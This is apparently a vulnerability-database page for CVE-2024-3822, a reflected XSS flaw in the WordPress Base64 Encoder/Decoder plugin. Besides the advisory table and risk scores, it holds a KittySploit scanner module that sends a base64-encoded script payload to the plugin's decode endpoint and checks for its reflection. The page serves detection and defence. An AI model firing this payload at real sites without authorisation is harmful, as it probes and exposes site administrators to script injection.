Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2024-3822 | 29 Mar 202500:28 | – | circl | |
| WordPress plugin Base64 Encoder/Decoder 安全漏洞 | 15 May 202400:00 | – | cnnvd | |
| CVE-2024-3822 | 15 May 202406:00 | – | cve | |
| CVE-2024-3822 Base64 Encoder/Decoder <= 0.9.2 - Reflected XSS | 15 May 202406:00 | – | cvelist | |
| EUVD-2024-32393 | 3 Oct 202520:07 | – | euvd | |
| Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting | 16 Oct 202602:05 | – | nuclei | |
| CVE-2024-3822 | 15 May 202406:15 | – | nvd | |
| CVE-2024-3822 | 15 May 202406:15 | – | osv | |
| WordPress Base64 Encoder/Decoder Plugin <= 0.9.2 is vulnerable to Cross Site Scripting (XSS) | 15 May 202400:00 | – | patchstack | |
| WordPress Base64 Encoder/Decoder plugin <= 0.9.2 - Reflected XSS vulnerability | 15 May 202407:06 | – | patchstack |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Base64 Encoder/Decoder WordPress plugin through 0."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting Detection',
'description': 'The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2024', 'wordpress', 'wp-plugin', 'wp', 'xss', 'base64-encoderdecoder', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/',
'https://nvd.nist.gov/vuln/detail/CVE-2024-3822',
'https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/',
],
'cve': 'CVE-2024-3822',
}
def run(self):
path = '/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4='
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
content_type = (r.headers.get("Content-Type") or "").lower()
body = (r.text or "").lower()
reflected_payload = '<script>alert("document.domain")</script>' in body
if "text/html" in content_type and reflected_payload:
self.set_info(
severity='medium',
reason='Base64 Encoder/Decoder reflected the decoded script payload',
path=path,
confidence='high',
)
return True
return False
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29 Sep 2026 10:07Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.14.8
EPSS0.00747
SSVC